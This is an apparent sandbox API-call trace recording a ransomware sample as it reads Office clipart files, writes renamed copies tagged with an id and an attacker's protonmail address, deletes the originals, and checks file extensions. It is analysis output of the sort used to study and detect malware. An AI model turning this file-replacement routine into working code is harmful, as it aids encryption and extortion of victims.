	[0087.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0087.050] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=11002) returned 1
	[0087.050] CloseHandle (hObject=0x328) returned 1
	[0087.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220
	[0087.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0087.050] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.050] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0087.051] GetLastError () returned 0x0
	[0087.051] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x2afa, lpOverlapped=0x0) returned 1
	[0087.052] WriteFile (in: hFile=0x394, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x2b00, lpOverlapped=0x0) returned 1
	[0087.053] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.053] WriteFile (in: hFile=0x394, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.054] SetEndOfFile (hFile=0x394) returned 1
	[0087.054] CloseHandle (hObject=0x394) returned 1
	[0087.054] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.054] SetEndOfFile (hFile=0x328) returned 1
	[0087.055] CloseHandle (hObject=0x328) returned 1
	[0087.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0087.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1
	[0087.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.055] lstrlenW (lpString=".doc") returned 4
	[0087.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.055] lstrlenW (lpString=".docx") returned 5
	[0087.055] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.055] lstrlenW (lpString=".pdf") returned 4
	[0087.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.055] lstrlenW (lpString=".xls") returned 4
	[0087.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.055] lstrlenW (lpString=".xlsx") returned 5
	[0087.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.055] lstrlenW (lpString=".ppt") returned 4
	[0087.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.056] lstrlenW (lpString=".zip") returned 4
	[0087.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.056] lstrlenW (lpString=".rar") returned 4
	[0087.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.056] lstrlenW (lpString=".bz2") returned 4
	[0087.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.056] lstrlenW (lpString=".7z") returned 3
	[0087.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.056] lstrlenW (lpString=".dbf") returned 4
	[0087.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.056] lstrlenW (lpString=".1cd") returned 4
	[0087.056] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.056] lstrlenW (lpString=".jpg") returned 4
	[0087.056] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.056] lstrlenW (lpString=".doc") returned 4
	[0087.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.056] lstrlenW (lpString=".docx") returned 5
	[0087.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.056] lstrlenW (lpString=".pdf") returned 4
	[0087.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.056] lstrlenW (lpString=".xls") returned 4
	[0087.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.056] lstrlenW (lpString=".xlsx") returned 5
	[0087.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.056] lstrlenW (lpString=".ppt") returned 4
	[0087.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.056] lstrlenW (lpString=".zip") returned 4
	[0087.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.057] lstrlenW (lpString=".rar") returned 4
	[0087.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.057] lstrlenW (lpString=".bz2") returned 4
	[0087.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.057] lstrlenW (lpString=".7z") returned 3
	[0087.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.057] lstrlenW (lpString=".dbf") returned 4
	[0087.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.057] lstrlenW (lpString=".1cd") returned 4
	[0087.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0087.057] lstrlenW (lpString=".jpg") returned 4
	[0087.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.057] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0087.057] lstrlenW (lpString="FD00419_.WMF") returned 12
	[0087.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0087.057] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=16396) returned 1
	[0087.057] CloseHandle (hObject=0x328) returned 1
	[0087.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220
	[0087.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0087.058] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.058] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0087.058] GetLastError () returned 0x0
	[0087.058] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x400c, lpOverlapped=0x0) returned 1
	[0087.060] WriteFile (in: hFile=0x394, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x4010, lpOverlapped=0x0) returned 1
	[0087.061] ReadFile (in: hFile=0x328, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.061] WriteFile (in: hFile=0x394, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.061] SetEndOfFile (hFile=0x394) returned 1
	[0087.061] CloseHandle (hObject=0x394) returned 1
	[0087.062] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.062] SetEndOfFile (hFile=0x328) returned 1
	[0087.062] CloseHandle (hObject=0x328) returned 1
	[0087.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0087.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1
	[0087.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.063] lstrlenW (lpString=".doc") returned 4
	[0087.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.063] lstrlenW (lpString=".docx") returned 5
	[0087.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.063] lstrlenW (lpString=".pdf") returned 4
	[0087.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.063] lstrlenW (lpString=".xls") returned 4
	[0087.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.063] lstrlenW (lpString=".xlsx") returned 5
	[0087.063] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.063] lstrlenW (lpString=".ppt") returned 4
	[0087.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.063] lstrlenW (lpString=".zip") returned 4
	[0087.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.064] lstrlenW (lpString=".rar") returned 4
	[0087.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString=".bz2") returned 4
	[0087.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString=".7z") returned 3
	[0087.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.064] lstrlenW (lpString=".dbf") returned 4
	[0087.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.064] lstrlenW (lpString=".1cd") returned 4
	[0087.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.064] lstrlenW (lpString=".jpg") returned 4
	[0087.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.064] lstrlenW (lpString=".doc") returned 4
	[0087.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString=".docx") returned 5
	[0087.064] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.064] lstrlenW (lpString=".pdf") returned 4
	[0087.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString=".xls") returned 4
	[0087.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.064] lstrlenW (lpString=".xlsx") returned 5
	[0087.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.064] lstrlenW (lpString=".ppt") returned 4
	[0087.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.064] lstrlenW (lpString=".zip") returned 4
	[0087.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.065] lstrlenW (lpString=".rar") returned 4
	[0087.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.065] lstrlenW (lpString=".bz2") returned 4
	[0087.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.065] lstrlenW (lpString=".7z") returned 3
	[0087.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.065] lstrlenW (lpString=".dbf") returned 4
	[0087.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.065] lstrlenW (lpString=".1cd") returned 4
	[0087.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0087.065] lstrlenW (lpString=".jpg") returned 4
	[0087.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.065] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0087.065] lstrlenW (lpString="FD00428_.WMF") returned 12
	[0087.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0087.988] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=4796) returned 1
	[0087.988] CloseHandle (hObject=0x338) returned 1
	[0087.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220
	[0087.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0087.989] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.989] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.990] GetLastError () returned 0x0
	[0087.990] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x12bc, lpOverlapped=0x0) returned 1
	[0087.993] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x12c0, lpOverlapped=0x0) returned 1
	[0087.994] ReadFile (in: hFile=0x338, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.994] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.994] SetEndOfFile (hFile=0x390) returned 1
	[0087.994] CloseHandle (hObject=0x390) returned 1
	[0087.994] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.994] SetEndOfFile (hFile=0x338) returned 1
	[0087.995] CloseHandle (hObject=0x338) returned 1
	[0087.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0087.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1
	[0087.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.996] lstrlenW (lpString=".doc") returned 4
	[0087.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.996] lstrlenW (lpString=".docx") returned 5
	[0087.996] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.996] lstrlenW (lpString=".pdf") returned 4
	[0087.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.996] lstrlenW (lpString=".xls") returned 4
	[0087.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.996] lstrlenW (lpString=".xlsx") returned 5
	[0087.996] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.996] lstrlenW (lpString=".ppt") returned 4
	[0087.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.996] lstrlenW (lpString=".zip") returned 4
	[0087.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.996] lstrlenW (lpString=".rar") returned 4
	[0087.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.996] lstrlenW (lpString=".bz2") returned 4
	[0087.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.996] lstrlenW (lpString=".7z") returned 3
	[0087.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.996] lstrlenW (lpString=".dbf") returned 4
	[0087.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.997] lstrlenW (lpString=".1cd") returned 4
	[0087.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.997] lstrlenW (lpString=".jpg") returned 4
	[0087.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.997] lstrlenW (lpString=".doc") returned 4
	[0087.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.997] lstrlenW (lpString=".docx") returned 5
	[0087.997] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.997] lstrlenW (lpString=".pdf") returned 4
	[0087.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.997] lstrlenW (lpString=".xls") returned 4
	[0087.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.997] lstrlenW (lpString=".xlsx") returned 5
	[0087.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.997] lstrlenW (lpString=".ppt") returned 4
	[0087.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.997] lstrlenW (lpString=".zip") returned 4
	[0087.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.997] lstrlenW (lpString=".rar") returned 4
	[0087.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.997] lstrlenW (lpString=".bz2") returned 4
	[0087.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.997] lstrlenW (lpString=".7z") returned 3
	[0087.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.997] lstrlenW (lpString=".dbf") returned 4
	[0087.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.998] lstrlenW (lpString=".1cd") returned 4
	[0087.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0087.998] lstrlenW (lpString=".jpg") returned 4
	[0087.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.998] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0087.998] lstrlenW (lpString="FD00438_.WMF") returned 12
